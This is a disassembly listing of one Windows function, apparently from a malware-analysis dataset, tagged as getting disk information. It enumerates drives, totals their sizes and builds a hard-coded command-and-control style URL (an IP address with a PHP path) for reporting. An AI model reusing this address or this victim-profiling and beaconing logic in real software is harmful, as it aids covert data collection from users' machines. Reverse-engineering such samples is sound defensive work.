Function at 0x1400112e0
Capabilities:
Get disk information
Get disk size

Disassembly:
mov rax, rsp
mov qword [rax + 0x10], rbx
mov qword [rax + 0x18], rsi
push rbp
push rdi
push r13
push r14
push r15
lea rbp, [rax - 0x2b8]
sub rsp, 0x390
movaps xmmword [rax - 0x38], xmm6
mov rax, qword [0x1400b5200]
xor rax, rsp
mov qword [rbp + 0x278], rax
mov rbx, rdx
mov r13, rcx
mov qword [rsp + 0x38], rcx
xor edi, edi
mov dword [rsp + 0x20], edi
xorps xmm0, xmm0
movups xmmword [rbp + 0x80], xmm0
movdqa xmm6, xmmword [0x1400a5070]
movdqa xmmword [rbp + 0x90], xmm6
mov byte [rbp + 0x80], dil
movups xmmword [rbp + 0xa0], xmm0
movdqa xmmword [rbp + 0xb0], xmm6
mov byte [rbp + 0xa0], dil
movups xmmword [rbp + 0xc0], xmm0
movdqa xmmword [rbp + 0xd0], xmm6
mov byte [rbp + 0xc0], dil
movups xmmword [rbp + 0xe0], xmm0
movdqa xmmword [rbp + 0xf0], xmm6
mov byte [rbp + 0xe0], dil
lea rcx, [rbp + 0x100]
call fcn.14001d8d0
nop
lea rcx, [rbp + 0x120]
call fcn.14001d7f0
nop
lea rcx, [rbp + 0x140]
call fcn.14001e280
nop
lea rcx, [rbp + 0x160]
call fcn.14001df80
nop
lea rcx, [rbp + 0x180]
call fcn.14001dc60
nop
lea rcx, [rbp + 0x1a0]
call fcn.14001d070
nop
xorps xmm0, xmm0
movups xmmword [rbp + 0x1c0], xmm0
movdqa xmmword [rbp + 0x1d0], xmm6
mov byte [rbp + 0x1c0], dil
movups xmmword [rbp + 0x1e0], xmm0
movdqa xmm1, xmmword [0x1400a5080]
movdqa xmmword [rbp + 0x1f0], xmm1
mov word [rbp + 0x1e0], 0x30
movups xmmword [rbp + 0x200], xmm0
movdqa xmmword [rbp + 0x210], xmm1
mov word [rbp + 0x200], 0x30
movups xmmword [rbp + 0x220], xmm0
movdqa xmmword [rbp + 0x230], xmm1
mov word [rbp + 0x220], 0x30
movups xmmword [rbp + 0x240], xmm0
movdqa xmmword [rbp + 0x250], xmm1
mov word [rbp + 0x240], 0x30
lea rdx, [rbp + 0x80]
mov rcx, r13
call fcn.140011ef0
nop
lea rcx, [rbp + 0x80]
call fcn.1400119d0
mov qword [r13 + 0x1e0], rbx
xorps xmm0, xmm0
movups xmmword [r13 + 0x1e8], xmm0
mov byte [r13 + 0x1f8], 1
mov qword [r13 + 0x200], rdi
movups xmmword [r13 + 0x220], xmm0
movups xmmword [r13 + 0x230], xmm0
movups xmmword [r13 + 0x240], xmm0
mov qword [r13 + 0x210], rdi
mov qword [r13 + 0x218], rdi
mov r15, 0xffffffffffffffff
mov dword [r13 + 0x250], r15d
mov dword [r13 + 0x208], 2
mov dword [r13 + 0x254], edi
lea rcx, [r13 + 0x258]
call fcn.14003d354
nop
lea rdx, [0x1400b5e80]
cmp qword [0x1400b5e98], 0xf
cmova rdx, qword [0x1400b5e80]
lea rcx, [r13 + 0x40]
mov r8, qword [0x1400b5e90]
call fcn.140016000
mov rbx, qword [0x1400c0520]
test rbx, rbx
jne 0x14001159a
mov ebx, edi
call qword [sym.imp.KERNEL32.dll_GetLogicalDrives]
mov r14d, eax
mov sil, 0x41
nop word [rax + rax]
test r14b, 1
je 0x140011583
mov dword [rsp + 0x20], edi
movzx r9d, sil
lea r8, str._c:_
mov edx, 4
lea rcx, [rsp + 0x20]
call qword [sym.imp.SHLWAPI.dll_wnsprintfA]
mov qword [rsp + 0x30], rdi
mov qword [rsp + 0x28], rdi
lea r9, [rsp + 0x30]
lea r8, [rsp + 0x28]
xor edx, edx
lea rcx, [rsp + 0x20]
call qword [sym.imp.KERNEL32.dll_GetDiskFreeSpaceExA]
mov rax, qword [rsp + 0x28]
sub rax, qword [rsp + 0x30]
add rbx, rax
inc sil
shr r14d, 1
cmp sil, 0x5a
jle 0x140011530
shr rbx, 0x1e
mov qword [0x1400c0520], rbx
lea r9, [rbp + 0x275]
movabs r8, 0xcccccccccccccccd
nop dword [rax + rax]
dec r9
mov rax, r8
mul rbx
shr rdx, 3
movzx eax, dl
shl al, 2
lea ecx, [rax + rdx]
add cl, cl
sub bl, cl
add bl, 0x30
mov byte [r9], bl
mov rbx, rdx
test rdx, rdx
jne 0x1400115b0
xorps xmm0, xmm0
movups xmmword [rbp + 0x60], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x70], xmm1
lea rax, [rbp + 0x275]
cmp r9, rax
jne 0x140011600
mov qword [rbp + 0x78], 0xf
mov byte [rbp + 0x60], dl
jmp 0x140011616
lea r8, [rbp + 0x275]
sub r8, r9
mov rdx, r9
lea rcx, [rbp + 0x60]
call fcn.140004dd0
or edi, 3
lea rcx, [r13 + 0x1c0]
lea rdx, [rbp + 0x60]
call fcn.1400156e0
mov rdx, qword [rbp + 0x78]
cmp rdx, 0xf
jbe 0x140011664
inc rdx
mov rcx, qword [rbp + 0x60]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14001165f
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400119b0
call fcn.14005e4dc
lea rcx, [rbp + 0x40]
call fcn.140023ac0
or edi, 4
lea rcx, [r13 + 0x20]
lea rdx, [rbp + 0x40]
call fcn.1400156e0
mov rdx, qword [rbp + 0x58]
cmp rdx, 0xf
jbe 0x1400116b8
inc rdx
mov rcx, qword [rbp + 0x40]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400116b3
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400119b6
call fcn.14005e4dc
mov edx, 1
lea rcx, [rsp + 0x40]
call fcn.1400153f0
nop
lea rcx, [rbp + 0x60]
call fcn.14001d5a0
nop
mov r8, qword [rax + 0x10]
cmp qword [rax + 0x18], 0xf
jbe 0x1400116e0
mov rax, qword [rax]
mov rdx, rax
lea rcx, [rsp + 0x50]
call fcn.140016880
lea rdx, [0x1400a4aa8]
mov rcx, rax
call fcn.1400163d0
mov rbx, rax
lea rcx, [rbp + 0x40]
call fcn.14001e0c0
nop
mov r8, qword [rax + 0x10]
cmp qword [rax + 0x18], 0xf
jbe 0x140011717
mov rax, qword [rax]
mov rdx, rax
mov rcx, rbx
call fcn.140016880
nop
mov rdx, qword [rbp + 0x58]
cmp rdx, 0xf
jbe 0x14001175e
inc rdx
mov rcx, qword [rbp + 0x40]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140011759
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400119bc
call fcn.14005e4dc
movdqu xmmword [rbp + 0x50], xmm6
mov byte [rbp + 0x40], 0
mov rdx, qword [rbp + 0x78]
cmp rdx, 0xf
jbe 0x1400117a3
inc rdx
mov rcx, qword [rbp + 0x60]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14001179d
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400119c2
call fcn.14005e4dc
nop
xorps xmm0, xmm0
movups xmmword [rbp + 0x40], xmm0
movdqu xmmword [rbp + 0x50], xmm6
mov byte [rbp + 0x40], 0
or edi, 0x10
mov dword [rsp + 0x20], edi
movups xmmword [rbp + 0x60], xmm0
mov rcx, qword [rbp - 0x38]
mov eax, ecx
and al, 0x22
cmp al, 2
je 0x1400117ec
mov rax, qword [rbp - 0x68]
mov r8, qword [rax]
test r8, r8
je 0x1400117ec
mov rax, qword [rsp + 0x78]
mov rdx, qword [rax]
cmp r8, qword [rbp - 0x40]
cmovb r8, qword [rbp - 0x40]
sub r8, rdx
jmp 0x14001181c
test cl, 4
jne 0x140011814
mov rax, qword [rbp - 0x70]
mov rcx, qword [rax]
test rcx, rcx
je 0x140011814
mov rax, qword [rsp + 0x70]
mov rdx, qword [rax]
mov rax, qword [rbp - 0x58]
movsxd r8, dword [rax]
sub r8, rdx
add r8, rcx
jmp 0x14001181c
mov r8, qword [rbp + 0x68]
mov rdx, qword [rbp + 0x60]
test rdx, rdx
je 0x14001182b
lea rcx, [rbp + 0x40]
call fcn.140016000
nop
lea rcx, [r13 + 0x140]
lea rdx, [rbp + 0x40]
call fcn.1400156e0
mov rdx, qword [rbp + 0x58]
cmp rdx, 0xf
jbe 0x140011876
inc rdx
mov rcx, qword [rbp + 0x40]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140011871
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400119aa
call fcn.14005e4dc
xorps xmm0, xmm0
movups xmmword [rbp + 0x40], xmm0
mov ecx, 0x30
call fcn.14005e4a0
mov rbx, rax
mov qword [rbp + 0x40], rax
mov qword [rbp + 0x50], 0x2b
mov qword [rbp + 0x58], 0x2f
movups xmm0, xmmword [str.http:__193.143.1.139_Ujdu8jjooue_biweax.php]
movups xmmword [rax], xmm0
movups xmm1, xmmword [0x1400a5028]
movups xmmword [rax + 0x10], xmm1
movsd xmm0, qword [0x1400a5038]
movsd qword [rax + 0x20], xmm0
movzx eax, word [0x1400a5040]
mov word [rbx + 0x28], ax
movzx eax, byte [0x1400a5042]
mov byte [rbx + 0x2a], al
mov byte [rbx + 0x2b], 0
mov edx, 0x68
mov r8d, 0x27
mov rcx, rbx
call fcn.140087f20
test rax, rax
je 0x14001191f
cmp dword [rax], 0x70747468
jne 0x140011903
cmp byte [rax + 4], 0x73
je 0x1400119a2
inc rax
lea r8, [rbx + 0x27]
sub r8, rax
mov edx, 0x68
mov rcx, rax
call fcn.140087f20
test rax, rax
jne 0x1400118f1
mov rax, r15
lea rcx, [0x1400a4aac]
lea rdx, [0x1400a4ab0]
test rax, rax
cmove rdx, rcx
nop word [rax + rax]
inc r15
cmp byte [rdx + r15], 0
jne 0x140011940
mov r8, r15
mov rcx, r13
call fcn.140016000
nop
mov edx, 0x30
mov rcx, rbx
call fcn.14005e4dc
nop
lea rcx, [rsp + 0x40]
call fcn.1400122f0
nop
mov rax, r13
mov rcx, qword [rbp + 0x278]
xor rcx, rsp
call fcn.14005e480
lea r11, [rsp + 0x390]
mov rbx, qword [r11 + 0x38]
mov rsi, qword [r11 + 0x40]
movaps xmm6, xmmword [r11 - 0x10]
mov rsp, r11
pop r15
pop r14
pop r13
pop rdi
pop rbp
ret
sub rax, rbx
jmp 0x140011922
call fcn.1400645e4
nop
call fcn.1400645e4
int3
call fcn.1400645e4
nop
call fcn.1400645e4
nop
call fcn.1400645e4
int3